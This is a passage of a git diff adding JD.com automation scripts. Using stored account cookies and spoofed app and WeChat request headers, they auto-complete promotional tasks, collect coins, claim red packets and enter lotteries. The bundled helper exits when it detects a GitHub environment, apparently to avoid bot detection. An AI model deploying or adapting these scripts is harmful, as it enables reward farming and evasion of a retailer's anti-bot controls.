"0" }) + } + } + } else if (vo.taskType === 8) { + for (let key of Object.keys(vo.productInfoVos)) { + let productInfoVos = vo.productInfoVos[key] + if (productInfoVos.status !== 2) { + console.log(`【${productInfoVos.skuName}】${vo.subTitleName}`) + await harmony_collectScore({ "appId": appId, "taskToken": productInfoVos.taskToken, "taskId": vo.taskId, "actionType": "1" }) + await $.wait(vo.waitDuration * 1000) + await harmony_collectScore({ "appId": appId, "taskToken": productInfoVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 27 && vo.taskId === 18) { + console.log(`【${vo.subTitleName}】`) + await harmony_collectScore({ "appId": appId, "taskToken": vo.productInfoVos[0].taskToken, "taskId": vo.taskId, "actionType": "0" }) + } else if (vo.taskType === 9 || vo.taskType === 26) { + for (let key of Object.keys(vo.shoppingActivityVos)) { + let shoppingActivityVos = vo.shoppingActivityVos[key] + if (shoppingActivityVos.status !== 2) { + console.log(`【${shoppingActivityVos.title}】${vo.subTitleName}`) + if (vo.taskType === 9) { + await harmony_collectScore({ "appId": appId, "taskToken": shoppingActivityVos.taskToken, "taskId": vo.taskId, "actionType": "1" }) + await $.wait(vo.waitDuration * 1000) + } + await harmony_collectScore({ "appId": appId, "taskToken": shoppingActivityVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 14) { + console.log(`【京东账号${$.index}(${$.UserName})的${appName}好友互助码】${vo.assistTaskDetailVo.taskToken}\n`) + if (vo.times !== vo.maxTimes) { + $.shareCode.push({ + "code": vo.assistTaskDetailVo.taskToken, + "appId": appId, + "use": $.UserName + }) + } + } + } else { + console.log(`【${vo.taskName}】已完成\n`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function harmony_collectScore(body = {}, taskType = '') { + return new Promise(resolve => { + $.post(taskUrl('harmony_collectScore', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} collectScore API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.data && data.data.bizCode === 0) { + if (taskType === 13) { + console.log(`签到成功:获得${data.data.result.score}金币\n`) + } else if (body.taskId == 5) { + console.log(`助力成功:您的好友获得${data.data.result.score}金币\n`) + } else { + console.log(`完成任务:获得${data.data.result.score}金币\n`) + } + } else { + if (taskType === 13) { + console.log(`签到失败:${data.data.bizMsg}\n`) + } else if (body.taskId == 5) { + console.log(`助力失败:${data.data.bizMsg || data.msg}\n`) + if (data.code === -30001 || (data.data && data.data.bizCode === 108)) $.canHelp = false + if (data.data.bizCode === 103) $.delcode = true + } else { + console.log(body.actionType === "0" ? `完成任务失败:${data.data.bizMsg}\n` : data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function interact_template_getLotteryResult() { + return new Promise(resolve => { + $.post(taskUrl('interact_template_getLotteryResult', {"appId":appId}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getLotteryResul API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userAwardsCacheDto = data && data.data && data.data.result && data.data.result.userAwardsCacheDto; + if (userAwardsCacheDto) { + if (userAwardsCacheDto.type === 2) { + console.log(`抽中:${userAwardsCacheDto.jBeanAwardVo.quantity}${userAwardsCacheDto.jBeanAwardVo.ext || `京豆`}`); + } else if (userAwardsCacheDto.type === 0) { + console.log(`很遗憾未中奖~`) + } else if (userAwardsCacheDto.type === 1) { + console.log(`抽中:${userAwardsCacheDto.couponVo.prizeName},金额${userAwardsCacheDto.couponVo.usageThreshold}-${userAwardsCacheDto.couponVo.quota},使用时间${userAwardsCacheDto.couponVo.useTimeRange}`); + } else { + console.log(`抽中:${JSON.stringify(data)}`); + message += `抽中:${JSON.stringify(data)}\n`; + } + } else { + $.canLottery = false + console.log(`此活动已黑,无法抽奖\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie, + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4FdmTJQNah9oDJyQN8NggvRi1nEY/index.html", + "Accept-Encoding": "gzip, deflate, br" + } + } +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_wq_wxsign.js b/jd_wq_wxsign.js new file mode 100644 index 0000000..6f0f8dd --- /dev/null +++ b/jd_wq_wxsign.js @@ -0,0 +1,105 @@ +/* +微信签到领红包 +by:小手冰凉 tg:@chianPLA +交流群:https://t.me/jdPLA2 +脚本更新时间:2022-01-01 +脚本兼容: Node.js +新手写脚本,难免有bug,能用且用。 +=========================== +*/ +const $ = new Env("微信签到领红包"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const request = require('request'); +let cookiesArr = [], cookie = '' + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + } + +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + await signTask(); //京东超市 +} + +//京东超市 +function signTask() { + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/signTask/doSignTask?functionId=SignComponent_doSignTask&appid=hot_channel&loginWQBiz=signcomponent&loginType=2&body={"activityId":"10002"}&g_ty=ls&g_tk=1294369933`, + headers: { + "Host": "api.m.jd.com", + "charset": "utf-8", + "Connection": "keep-alive", + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79 MicroMessenger/8.0.15(0x18000f2e) NetType/WIFI Language/zh_CN', + 'referer': 'https://servicewechat.com/wx91d27dbf599dff74/581/page-frame.html', + "User-Agent": 'Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.1.0.314) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/11.1.5.320 Mobile Safari/537.36', + "cookie": "wxapp_type=15;wxapp_version=7.10.140;wxapp_scene=1001;pinStatus=0;" + cookie, + "Accept-Encoding": "gzip,compress,br,deflate", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + console.log(`signTask api请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.subCode == 0) { + console.log(`签到: ${data?.data?.signDays}天, 获得红包: ${data?.data?.rewardValue}元`); + } else { + console.log(data.message); + } + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + + +// prettier-ignore +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": 'Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64', "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || 